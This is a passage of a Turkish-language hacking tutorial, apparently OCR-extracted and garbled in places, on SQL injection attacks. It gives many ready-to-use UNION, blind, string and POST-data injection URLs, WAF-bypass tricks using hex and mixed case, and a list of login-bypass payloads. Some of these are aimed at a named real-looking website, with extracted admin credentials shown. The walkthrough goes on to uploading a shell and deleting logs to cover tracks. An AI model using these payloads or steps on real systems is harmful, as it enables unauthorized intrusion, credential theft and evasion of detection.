Simdi bakalim ekrana yansiyan kolonlara OR: 2 ve 7 sayilari yansimis..Bundan sonraki tim
islemlerimizi bu 2 ve 7 sayilari Ustinden gerceklestirecediz.Yani yansilan kolonlar Gzerinden..

10-Saldiri Ani4(Tablo isimlerini Cekmek - Aksi Halde Bypass)

Ekrana nasiyan 2 ve 7 kolonlari Gzerinden devam ediyoruz;
Once Group_Concat Fonksiyonunu taniyalim;

Bu fonksiyon sorgumuz sitede elde ettigimiz verileri birlestirmeye yarar. Ornegin veritabaninda
kullanici adi ve sifre iki ayri kolonda tutuyorsak bu fonksiyon araciligi ile birlestirip dondirebiliriz.Simdi
biz kolon sayilarinda 2 yi secip 2 tUzerinden iglem yapalim..

www.sayfam.com/sayfa.php?id=-2+union+select+1,database(),3,4,5.6,7,8-- Seklinde bir sorgu
gonderdigimizde sitemizdeki database (Veritabani) ismini 6greniyoruz..

www.sayfam.com/sayfa.php?id=-2+union+select+1,version(),3.4,5,6,7,8-- Seklinde bir sorguda ise
bize MySql Veritabani’'nin Versiyonunu verir.Bunu @@version seklindede sorgulayabilirsiniz.Simdi
tablolari ¢cekelim;

www.sayfam.com/sayfa.php?id=-2+union+select+1,group concat(table name),3,4,5,6,7,8+from+infor
mation_schema.tables--

Seklinde bir sorgu génderdik.Peki biz burada ne dedik ?
table_name = Tablo isimleri

information_schema = MySq| Veritabanindaki INFORMATION_SCHEMA adli veritabanindaki
tablolarin , kolonlarin isimlerini veriri.

information_schema.tables = INFORMATION_SCHEMA Adl veritabanindaki tablo isimlerini bize
verir.

information_schema.columns = INFORMATION_SCHEMA Adl veritabanindaki kolon isimlerini bize
verir.

www.sayfam.com/sayfa.php?id=-2+union+select+1,group concat(table name),3.,4,5,6,7,8+from+infor
mation schema.tables+where+table schema=database()--

table_schema=database() = Bu sorguda bize sadece sitenin veritabanindaki tablolari vermesini
isteriz.

www.sayfam.com/sayfa.php?id=-2+union+select+1,group concat(table name),3,4,5,6,7,8+from+infor
mation schema.tables+where+table schema=database()--



http://www.sayfam.com/sayfa.php?id=-2+union+select+1,database(),3,4,5,6,7,8--
http://www.sayfam.com/sayfa.php?id=-2+union+select+1,version(),3,4,5,6,7,8--
http://www.sayfam.com/sayfa.php?id=-2+union+select+1,group_concat(table_name),3,4,5,6,7,8+from+information_schema.tables--
http://www.sayfam.com/sayfa.php?id=-2+union+select+1,group_concat(table_name),3,4,5,6,7,8+from+information_schema.tables--
http://www.sayfam.com/sayfa.php?id=-2+union+select+1,group_concat(table_name),3,4,5,6,7,8+from+information_schema.tables+where+table_schema=database()--
http://www.sayfam.com/sayfa.php?id=-2+union+select+1,group_concat(table_name),3,4,5,6,7,8+from+information_schema.tables+where+table_schema=database()--
http://www.sayfam.com/sayfa.php?id=-2+union+select+1,group_concat(table_name),3,4,5,6,7,8+from+information_schema.tables+where+table_schema=database()--
http://www.sayfam.com/sayfa.php?id=-2+union+select+1,group_concat(table_name),3,4,5,6,7,8+from+information_schema.tables+where+table_schema=database()--

Seklinde bir sorgu génderdigimizde bize veritabanindaki tablo isimlerini verecektir.Buradaki komutlari
iyi tanimanizi tavsiye ederim..

Ekrana yansiyan tablo isimlerine bir bakalim;
admin,resimler,adresler,hizmetler vs vs olsun..
bize burada lazim olacak tabloyu segiyoruz; admin

Simdi biz bu komutu sorgu olarak siteye gonderdik.Ama ekrana tablo isimler yansimadi? ne
yapacagiz?..

Burada gene araya bypass giriyor.Simdi sorguda vurgulanan yer neresidir? Tablo isimleri...
Simdi sorgudaki tablo isteklerinde bir degisiklik yapiyoruz;

www.sayfam.com/sayfa.php?id=-2+union+select+1.,group concat(TaBIE Name),3.4,5,6,7,8+from+inf
ormation_schema.TabLeS+where+TaBLeS schema=database()--

Seklinde degisikligimizi yapuyoruz..Ekrana tablo isimlerimizin yansidigini géreceksiniz..

Bu Sekilde de yansimadigini farz edelim.Burada database() fonksiyonunu hexleyelim; (Hex bir
sifreleme tlradur.Mozilla’nin Hackbar Eklentisinde Hex hizmeti mevcuttur.)

Hexlenecek isim: database()
Hexlenmis Hali: 64617461626173652829

Yanlz sunu unutmamak gerekir.Hexledigimiz tim degerlerin bagsina Ox koymamiz gerekir.Yani son
hali sudur; 0x64617461626173652829 Simdi tekrar gekelim tablolarimizi;

www.sayfam.com/sayfa.php?id=-2+union+select+1,group concat(column Name),3,4,5,6,7,8+from+in
formation schema.CoLumns+where+TaBLeS schema=0x64617461626173652829--

Sorguyu gonderdigimizde tablolarin yansidigini géreceksiniz.Bu Hex taktigini kolonlar tzerindede
yapabilirsiniz.

11-Saldin Ani5(Tablolardan Hedef Veriyi Cekmek - Aksi Halde Bypass)

Evet tablo isimlerini ekrana yansittik, istedigimiz bir tabloyu sectik.Tablo ismimiz admindi..
Simdi tablo igerisindeki sutlinlari gekelim bakalim ne varmis;

www.sayfam.com/sayfa.php?id=-2+union+select+1,group concat(CoLumn Name),3,4,5,6,7.8+from+i
nformation schema.CoLumns+where+TaBLeS schema=database()+and+TabLe Name=admin--

Sorguyu gonderdik.Ekrana ; Username,Password,Email,id $eklinde sutinlar yansidi..Bize lazim
olacak Sutunlari segiyoruz.Ben Username,Password Seciyorum ve Devam ediyoruz..


http://www.sayfam.com/sayfa.php?id=-2+union+select+1,group_concat(TaBlE_Name),3,4,5,6,7,8+from+information_schema.TabLeS+where+TaBLeS_schema=database()--
http://www.sayfam.com/sayfa.php?id=-2+union+select+1,group_concat(TaBlE_Name),3,4,5,6,7,8+from+information_schema.TabLeS+where+TaBLeS_schema=database()--
http://www.sayfam.com/sayfa.php?id=-2+union+select+1,group_concat(column_Name),3,4,5,6,7,8+from+information_schema.CoLumns+where+TaBLeS_schema=0x64617461626173652829--
http://www.sayfam.com/sayfa.php?id=-2+union+select+1,group_concat(column_Name),3,4,5,6,7,8+from+information_schema.CoLumns+where+TaBLeS_schema=0x64617461626173652829--
http://www.sayfam.com/sayfa.php?id=-2+union+select+1,group_concat(CoLumn_Name),3,4,5,6,7,8+from+information_schema.CoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=admin--
http://www.sayfam.com/sayfa.php?id=-2+union+select+1,group_concat(CoLumn_Name),3,4,5,6,7,8+from+information_schema.CoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=admin--

Eger biz bu sekilde sutlnlari yansitma esnasinda sutunlar yansimasaydi ne yapabilirdik? Burada
tekrar bir bypass teknigi giriyor isin icine.Burada admin tablosunu hexleyelim;

www.sayfam.com/sayfa.php?id=-2+union+select+1,group concat(CoLumn Name).3,4,5,6,7.8+from+i
nformation schema.CoLumns+where+TaBLeS schema=database()+and+TabLe Name=admin--

Hexlenecek ad: admin
Hexlenmis hali: 61646d696e
Kullanihr hali: 0x61646d696e Sorguyu génderiyoruz.

www.sayfam.com/sayfa.php?id=-2+union+select+1,group concat(CoLumn Name),3,4,5,6,7.8+from+i
nformation _schema.CoLumns+where+TaBLeS schema=database()+and+TabLe Name=0x61646d69
6e--

Gonderdik ve ekrana tekrar Username,Password,Email,id Sutlnlarinin yansidigini gértyoruz.
Simdi sectigimiz Username,Password sutlnlarinin igerisindeki veriyi gekelim;

www.sayfam.com/sayfa.php?id=-2+union+select+1,group concat(Username,Password),3,4,5.6,7,8+f
rom+0x61646d696e--

Sorguyu goénderdik.;
Username: admin

Password: bugres

Evet Admin’in kullanici adi ve sifresi yansidi.Peki yansimaydi nasil bir bypass teknigi
kullanirdik.Username Password’ Char Code’larina geviricez.Mozilla’nin Hackbar Eklentisinde
mevcuttur.

Username,Password Char Code Cevrilmis Hali :
String.fromCharCode(85, 115, 101, 114, 110, 97, 109, 101, 44, 80, 97, 115, 115, 119, 111, 114, 100)
Char Code halini group_concat() fonksiyonunun arasina yaziyoruz.;

www.sayfam.com/sayfa.php?id=-2+union+select+1,group_concat(String.fromCharCode(85, 115, 101,
114, 110, 97, 109, 101, 44, 80, 97, 115, 115, 119, 111, 114, 100)),3,4,5,6,7,8+from+0x61646d69--

Seklinde sorguyu gonderdigimizde tekrardan yansima isleminin yapildigini géreceksiniz..

12-Saldiri Ani6(Hedef Veriyi Kullanarak Sisteme Girmek)

Cektigimiz K.Adi ve Sifreyi kullanarak sisteme yonetici olarak giris yapacagiz simdi;


http://www.sayfam.com/sayfa.php?id=-2+union+select+1,group_concat(CoLumn_Name),3,4,5,6,7,8+from+information_schema.CoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=admin--
http://www.sayfam.com/sayfa.php?id=-2+union+select+1,group_concat(CoLumn_Name),3,4,5,6,7,8+from+information_schema.CoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=admin--
http://www.sayfam.com/sayfa.php?id=-2+union+select+1,group_concat(CoLumn_Name),3,4,5,6,7,8+from+information_schema.CoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=0x61646d696e--
http://www.sayfam.com/sayfa.php?id=-2+union+select+1,group_concat(CoLumn_Name),3,4,5,6,7,8+from+information_schema.CoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=0x61646d696e--
http://www.sayfam.com/sayfa.php?id=-2+union+select+1,group_concat(CoLumn_Name),3,4,5,6,7,8+from+information_schema.CoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=0x61646d696e--
http://www.sayfam.com/sayfa.php?id=-2+union+select+1,group_concat(Username,Password),3,4,5,6,7,8+from+0x61646d696e--
http://www.sayfam.com/sayfa.php?id=-2+union+select+1,group_concat(Username,Password),3,4,5,6,7,8+from+0x61646d696e--

Tekrar hatirlayalim;
U.name: admin
P.word: bugres

Yonetici olarak sisteme giris yapabilmemiz icin sitede bir yonetici panelinin olmasi gerekir.Bu Yonetici
paneli yani admin paneli gogu sitede mevcuttur.Simdi biz admin panelini nasil bulacagiz?

Panel yolunun tahmin ile veya farkli programlar kullanarak bulabiliriz.Once bir tahmin yoluyla
deneyelim.

Eger sistem Wordpress, Joomla gibi hazir sistemler kullanilarak hazirlanmig ise admin panelleri zaten
standarttir.

Wordpress Admin panel yolu : /wp-admin

Joomla admin panel yolu : /administrator

Eger hazir sistem degilse tahmin veya programlarla bulabiliriz.
Tahmine bashyoruz;

www.sayfam.com/admin -> Error
www.sayfam.com/yonetici.php -> Error
www.sayfam.com/admin.php -> Error
www.sayfam.com/log_in.php -> Yess :P

Evet admin panelini bulduk.Log_in.php imis..Kullanici adini ve Sifresini kullanarak panele giris
yapiyoruz.Burada icerikleri degistirebiliyoruz.Yeni igerik ekleyebiliyoruz.Yani herseyi yapabiliyoruz.

Shell sokmak: Bir upload bolimi bulup shellimizi upload ediyoruz.Sistemde yetki sahibiyiz..
13-Saldirnt Ami7(izlerimizi Silmek)

Evet sisteme girdik.Site sistemi log(kayit) tutuyor olabilir.Yani admin paneline girisimizi veya upload
ettigimiz dosyalari log tutuyor olabilir..Burada sistemde igimizi bitirdikten sonra yapmamiz gereken sey
upload ettigimiz shell i ve loglari silmek.Silmez isek tehlike arz ediyor.

14-Sonug.
Neler yaptik ?

Sisteme glvenlik acig1 bulup admin sifresini ve kullanici adi adini ¢cekerek sisteme giris
yaptik.Shellimizi yikledik.Peki yapacaklarimiz bunlarla mi sinirh ? hayir.Serverdeki sitelere de girme
sansimiz mevcut.Server daki en Ust diizey yetkiye sahip olan ROOT dedigimiz sahisin yerine gegerek
yani sistemde ROOT olarak server daki diger sitelere giris yapabiliriz.ROOT islemli Linux ve
WINDOWS serverlar'a gore dediskenlik gdsteriyor..



15- Kag Tiir SQL injection Vardir?
a-) MySql injection
Evet kag tiir SQL injection saldirisi vardir konu basligi altinda, SQL injection tiirlerini

taniyacagiz.
SQL injection tiirlerini bize verdikleri hatalar sayesinde égreniriz.Yani Normal bir SQL injection hatasi
ile Mysql injection veya access Sql injection arasinda daglar kadar fark mevcut..

Daha 6ncesinde SQL injection agiginin tespitini 6grenmistik.Simdi Mysg| injection agiginin hatasina

bir g6z atalim...

[ wewewr paroswines. gr/english/product phpfid=22" &

arnry il | Yunanca « | Cewrlmesini istiyor musunuz? | Cewr | | Hay

MORAITIS

= DurIsland

= DOur History

x Waming: mysql_fetch_arranl) expects parameter 1 to be

resaurce, boolean given in )
Ahome/pareswin/public_html english/product.php on line 177

* ¥ineyard

| Warmning: mysql_fetch_arrav(] enpects parameter | to be

resource, boolean given in
Shome/pareswin/public_html/english/productphp o line 223

Gordiguniz gibi normal bir SQL hatasindan ¢ok farkl.

Bu acigin kullanimina gecelim;

Aslinda normal bir SQL inj. agigindan farkli bir kullanimi yok MySql'in..Ama anlatalim gene de..Mysq|
versiyonuna goére bazen degisiklik gosterebiliyor.Mysql version 5 olsaydi kolay kolay Veri
cekemezdik.Ama artik 4 pek fazla kullaniimadigi i¢in 5 Gzerinden devam..

Hedef sitemiz; http://www.paroswines.qgr/english/product.php?id=22



http://www.paroswines.gr/english/product.php?id=22

Kolon sayisini arayalim; http://www.paroswines.gr/english/product.php?id=22+order+by+1-- yaptik
sayfa dizeldi.order by 10 yaptik sayfada tekrar MySq| injection hatasi belirdi.Yani 10 dan kiigiik
oldugunu anliyoruz Kolonumuzun.

Teker teker iniyoruz; order+by+9-- yaptik.Sayfada hata duruyor.8 Yaptik sayfa dizeldi.Demek ki
kolon sayisi 8 mis..

Simdi kolonlari yansitalim;

http://www.paroswines.gr/english/product.php?id=-22+union+select+1,2,3,4,5,6,7,8-- bakiyoruz;

Ekrana 3 sayisi yansidi..3 Uzerinden devam ediyoruz.
Yukarida SQL Komutlarini gérmustik.Bu yuzden burada anlatmama gerek yok..

http://www.paroswines.gr/english/product.php?id=-22+union+select+1,2.group concat(table name) 4,
5,6,7,8+from+information _schema.tables+where+table schema=database()--

Sorgusunun ardindan ekrana table’lar yansidi;
Tables; admin,kullanicilar,hizmetler,gorseller ... admin tablosu isimizi gorir :)
Simdi admin tablosundaki kolonlara bakalim.

http://www.paroswines.gr/english/product.php?id=-22+union+select+1,2.group concat(column name)
,4.5.,6.7 . 8+from+information schema.columns+where+table schema=database()+and+table name=ad
min--

Ekrana user,pass,mail yansidigini farz edelim.

http://www.paroswines.gr/english/product.php?id=-22+union+select+1,2.group concat(user,pass,ema
i,4,5,6,7,8+from+admin--

User: admin
Pass: 123456

Email: admin@paroswines.com

b-) Ms Access SQL injection

Access SQL injection tahmine dayali bir agiktir.Yani netlik ifade etmez..Tablo ismini biz kendi
beyin glicimuzle tahmin gicumuzle bulmaya calisiriz.Bana goére en zahmetli injection turu..


http://www.paroswines.gr/english/product.php?id=22+order+by+1--
http://www.paroswines.gr/english/product.php?id=-22+union+select+1,2,3,4,5,6,7,8--
http://www.paroswines.gr/english/product.php?id=-22+union+select+1,2,group_concat(table_name),4,5,6,7,8+from+information_schema.tables+where+table_schema=database()--
http://www.paroswines.gr/english/product.php?id=-22+union+select+1,2,group_concat(table_name),4,5,6,7,8+from+information_schema.tables+where+table_schema=database()--
http://www.paroswines.gr/english/product.php?id=-22+union+select+1,2,group_concat(column_name),4,5,6,7,8+from+information_schema.columns+where+table_schema=database()+and+table_name=admin--
http://www.paroswines.gr/english/product.php?id=-22+union+select+1,2,group_concat(column_name),4,5,6,7,8+from+information_schema.columns+where+table_schema=database()+and+table_name=admin--
http://www.paroswines.gr/english/product.php?id=-22+union+select+1,2,group_concat(column_name),4,5,6,7,8+from+information_schema.columns+where+table_schema=database()+and+table_name=admin--
http://www.paroswines.gr/english/product.php?id=-22+union+select+1,2,group_concat(user,pass,email),4,5,6,7,8+from+admin--
http://www.paroswines.gr/english/product.php?id=-22+union+select+1,2,group_concat(user,pass,email),4,5,6,7,8+from+admin--
mailto:admin@paroswines.com

SQL injection agiklarini hatalarina gére siraliyorduk..Access SQL injection agiginin da kendine dzg(i
bir hatasi vardir.Bu agigi bu hata ile anlariz.Access SQL injection ASP.NET ile kodlanmis sitelerde
goriilir genellikle.Cok yaygin bir SQL injection tiriiddir..

Hedef bir sitemiz olsun; www.site.com/sayfa.asp?id=1 seklinde..Simdi id=1 degernin yanina ‘ koyalim
aclk tespiti icin.; www.site.com/sayfa.asp?id=1’

Eger boyle bir hata aliyorsak Ms Access SQL injection agigini bulduk demektir ;
Microsoft JET Database Engine error ’80040e14’
Syntax error in string in query expression ’id = 10";’.

Isayfa.asp, line 7

Simdi Kolon sayisini dgrenelim, tekrar ORDER BY komutunu kullancaz.

www.site.com/sayfa.asp?id=1+order+by+1 yaptik.Sayfa eski haline geldi.Ekrandaki hata gitti.

www.site.com/sayfa.asp?id=1+order+by+10 yaptik.Sayfa degisti yani farkl bir hata var ; alinan hata ;

Microsoft JET Database Engine error '80040e14’

The Microsoft Jet database engine does not recognize 10’ as a valid field name or
expression.

sayfa.asp, line 7

Bu hatada kolon sayisinin 10 dan az bir sayi oldugunu sdyliyor bize..Simdi teker teker inerek devam
ediyoruz taaki sayfa duzelene dek..

www.site.com/sayfa.asp?id=1+order+by+9 yaptik ayni hata mevcut.order+by+8 yaptik gene ayni
hata mevcut,7 de tekrar hata aldik, 6 yaptik ekrandan hata gitti...Anliyoruz ki kolon sayisi 6’'ymis..

Sira geldi tahmin kismina.isimize yarayacak tabloyu tahmin etmemiz gerekiyor.Once admin
tablosundan baglayalim;

www.site.com/sayfa.asp?id=1+union+select+1,2,3,4,5,6+from+admin-- yaptik.karsimiza ;

Hata gelmedi Yani admin diye bir tablo mevcutmus.Ekrana kolonlar yansidi, yansiyan kolonlar ; 2-4
oldugunu farz ediyoruz ve 2 ve 4 sayilarina sutiin degerini yaziyoruz.Yani;

www.site.com/sayfa.asp?id=1+union+select+1,username,3,password,5,6+from+admin--

Seklinde..Eger ekrana username ve password yansimadiysa sutlin isimleri username password
degildir..

www.site.com/sayfa.asp?id=1+union+select+1,user,3,pass,5,6+from+admin--



http://www.site.com/sayfa.asp?id=1
http://www.site.com/sayfa.asp?id=1
http://www.site.com/sayfa.asp?id=1+order+by+1
http://www.site.com/sayfa.asp?id=1+order+by+10
http://www.site.com/sayfa.asp?id=1+order+by+9
http://www.site.com/sayfa.asp?id=1+union+select+1,2,3,4,5,6+from+admin--
http://www.site.com/sayfa.asp?id=1+union+select+1,username,3,password,5,6+from+admin--
http://www.site.com/sayfa.asp?id=1+union+select+1,user,3,pass,5,6+from+admin--

Seklinde Yazdigimizda Ekrana user ve pass yansidigini gérecegiz.Tabi burada kolonlari ve tablolari
tahmin olarak yazdik.TUm sitelerde user pass olacak diye bir kaide yoktur..

User: mahserat

Pass: bugres

c-) Blind SQL injection

Blind SQL injection diger acik tirlerinden farklidir.Yani SQL injection aciginda id=2
degerinin yanina koydugumuz ‘ ve ‘a sayesinde agik olup olmadigini anliyorduk.Fakat Blind SQL
injection’da bu durum degisiyor..Acidi ‘ veya ‘a kullanarak almiyoruz. Sdyle bir durum daha var normal
SQL injection tirlerinde hata alirken, Blind Sql injection da hata almiyoruz.

Gene bir hedef site disunin;

www.sayfa.com/dosya.php?id=2 . olsun.

Burada Blind SQL inj. olup olmadigini su sekilde anliyoruz. ;
www.sayfa.com/dosya.php?id=2 and 1=1-- yapiyoruz ilk basta..Sayfada degisiklik olmuyor...

and 1=2-- yaptigimizda sayfa degisiyor.Hata olmuyor ama sayfa degisiyor.Diger Tlrlerden ayiran bir
dzellik de budur.Evet sayfa degistigi icin burada Blind SQL injection vardir diyebiliriz.

Hemen MySQL Versiyonunu grenelim.Once and substring(@@version,1,1)=4 komutuyla versiyonun
4 mu olduga bakiyoruz.

www.sayfa.com/dosya.php?id=2 and substring(@@version,1,1)=4 seklinde sorgu gonderdik.Sayfada
bozulma oldu.Yani 4 degil.Bu sefer and substring(@@version,1,1)=5 komutu ile versiyonun 5 olup
olmadigina bakalim.

www.sayfa.com/dosya.php?id=2 and substring(@@version,1,1)=5 sorgu génderdigimizde sayfada
sorun yoksa eger demek ki MySQL Versiyonu 5 mis..

Eger versiyonu 4 olsaydi tahmin yoluyla yapmak zorunda kalirdik.Simdi tablolari ¢gekelim;

www.sayfa.com/dosya.php?id=2 and substring((select table_name from information_schema.tables
where table_name like 0x257573657225),1,1)=0x75 komutunu yazacagiz.Burada dedik ki i¢erisinde
users gecen ilk tablonun ilk harfi 0x75 yani u'mu eger u ise demek ki sayfa diizguin agilacak..Tablonun
Users oldugunu farz ederek devam ediyorum..

www.sayfa.com/dosya.php?id=2 and substring((select column_name from
information_schema.columns where table_name=0x7573657273 limit 2,1),1,50) like 0x257061737325

burada 0x7573657273 bu users demek like 0x257061737325 buda pass demek yani yine
deniyoruz.Burada limit 2 dedim.Nedeni ise genelde user ve pass sitede 0,1 ve 2. kolonlarda olur.Bu
arada gordugunuz Ox ile baglayan sayilar sizinde bileceginiz lizere Hex'dir.


http://www.sayfa.com/dosya.php?id=2

Simdi user sutlinunu ¢ekelim..

www.sayfa.com/dosya.php?id=2 and substring((select column_name from
information_schema.columns where table_name=0x7573657273 limit 1,1),1,50) like 0x75736572

Diyelim ki iki kolonud a dogru tahmin ettik.Simdi ne var elimizde user ve pass kolonlari
var.igerisindeki veriyi gekelim;

and substring((select user from users),1,1)=0x(tahmin edilen users..)
and substring((select pass from users),2,1)=0x(tahmin edilen users..)
Bu sekilde Hex ile harf harf tahmin ederek teker teker ¢ekiyoruz..

Biraz zordur Blind SQL injection.Ama pes etmemek gerekir.

d-) String SQL injection

Normal bir SQL injection saldirisinda ne yapiyorduk? Once ‘ veya ‘a koyarak SQL Hatas
aliyorduk.Daha sonra ORDER BY komutu ile kolon sayisini 6grenip devam ediyorduk.String SQL
injection’da isler degisiyor.Yani normal saldiridaki gibi ‘ , ‘a koyuyoruz ama ORDER BY ile kolon
sayisini 6grenmek istedigimizde 6grenemiyoruz.Yani;

www.site.com/sayfa.php?id=1+order+by+1-- yapiyoruz.Sayfa eski haline dénuyor.

www.site.com/sayfa.php?id=1+order+by+99999999999999999-- yapiyoruz sayfada bir hata olmuyor
sayfa degismiyor.Bu String SQL injection’dur..Hemen kullanimina gegiyoruz.;

www.site.com/sayfa.php?id=1" yaptik SQL Hatasi aldik..Hemen kolon dgrenelim;

www.site.com/sayfa.php?id=1+order+by+10-- Yaptik.Sayfa eski haline geldi.Hata yok;

www.site.com/sayfa.php?id=1+order+by+100-- Yaptik.Sayfada gene bir hata s6z konusu degil.

www.site.com/sayfa.php?id=1+order+by+1000-- gene bir hata yok.Burada String devreye giriyor.

Hemen bakalim; www.site.com/sayfa.php?id=1" and ‘x’="x yaptik.Sayfa degismedi hata
vermedi.Burada sitemizin x=x mi oldugunu sorguladik.Bir degisiklik olmadi yani bize olumlu yénde
cevap verdi..

[ | [ |

www.site.com/sayfa.php?id=1" and x’="y dedik.Bize olumsuz bir yanit verdi.Girdigimiz ‘ and ‘x’="y
komutu ile siteye x=y mi diye sorduk.Olumsuz bir yanit almistik.Site bize X Nasil Y ‘ye esit olabilir diye
firca atti ;)

Biraz olsa Blind SQL injection’a benziyor bu tiir..

Hemen kolon sayisini cekelim; www.site.com/sayfa.php?id=-1" union select+0,1,2,3.. and X'="x diye
sorgu génderiyoruz.Fakat burada 0,1,2,3. dikkat.Once 0 dan basliyoruz.teker teker ilerliyoruz.Sayfaya
kolon sayilari yansiyana kadar devam ediyoruz.Ekrana 2 nin yansidigini farz ederek devam edelim.;


http://www.site.com/sayfa.php?id=1+order+by+1--
http://www.site.com/sayfa.php?id=1+order+by+99999999999999999--
http://www.site.com/sayfa.php?id=1
http://www.site.com/sayfa.php?id=1+order+by+10--
http://www.site.com/sayfa.php?id=1+order+by+100--
http://www.site.com/sayfa.php?id=1+order+by+1000--

www.site.com/sayfa.php?id=9999999.9’ and union select+0,1,(select
group_concat(table_name)+from+informations_schema.tables+where+table_schema=database()),3

[

and ‘X'="x

Yansiyan kolon sayisi 2 idi.Bizde 2 Uzerinden igsleme devam ettik.Normal sartlarda
from+information.... sorgusu satirin sonunda iken burada tim goérevi 2. kolona devrettik.Fakat
unutmayalim Parantezler igerisinde.

Evet tablolar yansidi.Ornek olarak admin tablosunun yansidigini farz edelim ve devam edelim.

www.site.com/sayfa.php?id=9999999.9’ and union select+0,1,(select
group_concat(column_name)+from+informations_schema.columns+where+table _schema=database()
+and+table_name="admin’),3 and ‘x’='x

Evet admin tablosundaki sutiinlari yani kolonlari yansittik.Kolonlar; email,id,username,password
oldugunu farz ediyoruz..

www.site.com/sayfa.php?id=9999999.9’ and union select+0,1,(select

[ |

group_concat(username,password)+from+’admin’),3 and ‘xX’='x

Seklinde K.adi ve Sifreyi cektik..

e-) SQL injection Login Bypass

SQL injection Login Bypass g¢ok basit bir injection tiiriidiir. Web Sitelerindeki Login Kisimlarinda
meydana gelen bu agik bircok web sitesinde mevcuttur.Bir admin panelini hedef alarak saldiriya
baglayalim;

KULLANICT ADI [
sIFRE [
GUVENLIK KODU [EZS5

GUVENLIK KODUNU GIRINIZ {3




Bu tarz bir login kismi oldugunu farz edelim.Burada Kullanici adini ve Sifresini bypass edecegiz..Peki
nasil

SQL injection da login panelleri igin bypass kodlari mevcuttur.Bunlardan birkag’ini vereyim sizlere;

admin’'—
"or 0=0 --

“or’ 1=1

"or 0=0 --
or 0=0 --
“or 0=0 #
"or0=0#
or 0=0#
or 'X'='x

" or "X"="x
) or (X'=Xx
“or 1=1--
"or1=1--
or 1=1--

' or a=a--
"or"a"="a
')or (a’="a

") or ("a"="a

hi" Or “a"="a



hi" or 1=1 --
hi’ or 1=1 --
hi’ or 'a’="a

hi’) or (a'="a

hi")or("a"="a

Bu kodlar sayesinde Login kismini bypass edebiliriz.Bu agik cogu web sayfasinda
mevcuttur.Genellikle panel yolu /admin/admin.php olan web sitelerinde géziime batmadi degil..Evet bir
bakalim kendimize bir bypass kodu segiyoruz.

‘OR’ ‘=" kodunu sectim..Simdi gerekli text kisimlarina yazalhm..

KULLANICI ADI {slsiey

SIFRE

GUVENLIK KODU [FEZ

GUVENLIK KODUNU GIRINIZ
T

Evet resimde gorilduga gibi Kullanici adi ve sifre kismina kodumuzu yazdik.Giris Yap diyoruz;

Fing baganh litfen bekleyiniz.

Gorildugu tzere giris basarili oldu :) Evet Login bypass bu kadar basit bir mevzu..



f-) PostData SQL injection

Bu injection tird ASP.NET sitelerde textboxlarda mevcut olan bir agiktir.Diger HTML
sitelerde ise <input type="text” ‘larda mevcut bir agik tiiriidiir..Cok basittir.Normal bir SQL injection
acigida sitede acik analizi yapma seklimiz suydu; www.site.com/sayfa.php?id=1’ idi..Burada adi
ustlinde POSTDATA yani POST Methotlarinin kullanildi§i yerlerde bu injection saldirisini
yapacagiz.Peki nasil?

Simdi iki adet text kismi disundn Kullanici adi ve Sifreden olusan...

Seklinde...Burada 2 adet Text mevcut.Buraya injection saldirisi yapacagiz.Simdi gérdugumuz
Textlere Normal injectiondaki saldirilar gibi ‘ veya ‘a karakterlerini ekliyoruz.

Evet ekledikten sonra GONDER botunona basiyoruz.Karsimiza

Microsoft OLE DE Provider for OQDBC Drivers error S0040=14"

[Microsoft][ODBEC SCIL Server Driver][SCL Semer]line 1: Incarrect syntax near 'a’

Séyle bir SQL injection hatasi ¢ikarsa, bu login dosyasinda SQL injection agigi mevcuttur
diyebiliriz.Simdi tekrar login kismina geri donuyoruz ve kaynak kodunu gdster diyoruz.

<form name="t1" method="POST" action="login.aspx">


http://www.site.com/sayfa.php?id=1

Kaynak kodundaki 6nemli olan yer ustteki Method dur.Yani génderilen veri POST Methoduyla
gonderilmelidir..POST ‘un diger Methodlardan farki ise POST’un hizli ve givenilir olmasidir.

Peki bu acidi nasil kullanacagiz?

Kaynak kodunu aliyoruz bir notepad’a yapistiriyoruz.Daha sonra <form name="t1" method="POST"
action="login.aspx"> Kodundaki POST Methodunu GET Methoduna ¢eviriyoruz.Daha sonra login.aspx
dosyasinin tam yolunu belirtiyoruz.Yani ;

<form name="t1" method="GET” action”http://site.com/login.aspx”>

Kaynak kodlarinda bu kismi bu sekilde duzetip html uzantili kaydediyoruz.Daha sonra tekrar bir
tarayicida agiyoruz ve textlere ‘a koyuruz.Linkte ;
www.site.com/login.aspx?kadi="a&sifre="a&Submit=G%F6nder seklinde gbziikecektir.
www.site.com/login.aspx?kadi=a’a sekline SQL injection toolariyla agigi kullanabilirsiniz.

SQL injection saldirisini ve tiirlerini iliklerine kadar biliyorsunuz artik :)

Simdi sira SQL Mod_Security, order by, union select komutlarin nasil bypass edilecegini anlamaya
geldi..

SQL injection Bypass..
Merhaba arkadaslar,

Bu yazida sizlere SQL injection da takildi§gimiz bize sorun gikaran bazi komutlarin bypass yéntemlerini
anlatmaya calisacagim. Umarim yararli olur.

SQL injection lastik gibidir, nereye cekerseniz oraya gider. Ayni sekilde sql injection bypass
yontemlerinde de bu olay bdyledir.

a)

Oncelikle sizlere bagtan baglarsak order by komutunun nasil bypass edileceginden ve
karsilasabilecegimiz sorunlardan bahsedeyim.

Order by komutunu sql injection saldirilarinda kolon sayisi bulamak amaciyla kullaniriz. Ama bazen
hedef sitede ki glivenlik duvarlarina takilir kaliriz ve kullanmis oldugumuz komutu calistiramaya biliriz.

Burada hemen bypass devreye girmektedir. Nasil mi? Bir Web Site dislnn;

www.sayfam.com/dosya.php?id=1’ yaptigimiz vakit bize standart bir sql hatasi verecektir.

Burada sql a¢igi oldugunu anlariz. Hemen order by komutu ile kolon sayisini 6grenmeye c¢alisiriz;

www.sayfam.com/dosya.php?id=1+order+by+1-- fakat sayfadaki hata hala devam eder, burada bypass
devreye girer. Normal sartlarda order by 1 komutu ile sayfayi eski haline getirirken bu komut
calismadi..



http://www.sayfam.com/dosya.php?id=1
http://www.sayfam.com/dosya.php?id=1+order+by+1--

Simdi bunu nasil bypass edecegdimizden bahsedelim. SQL injection bypasslarin de genellikle special
chars dedigimiz 6zel karakterler devreye girer. Burada ki order by komutunu hep beraber bypass
edelim

www.sayfam.com/sayfa.php?id=1)+order+by--+ burada ki komutumuz da Ustteki order by dan farkli
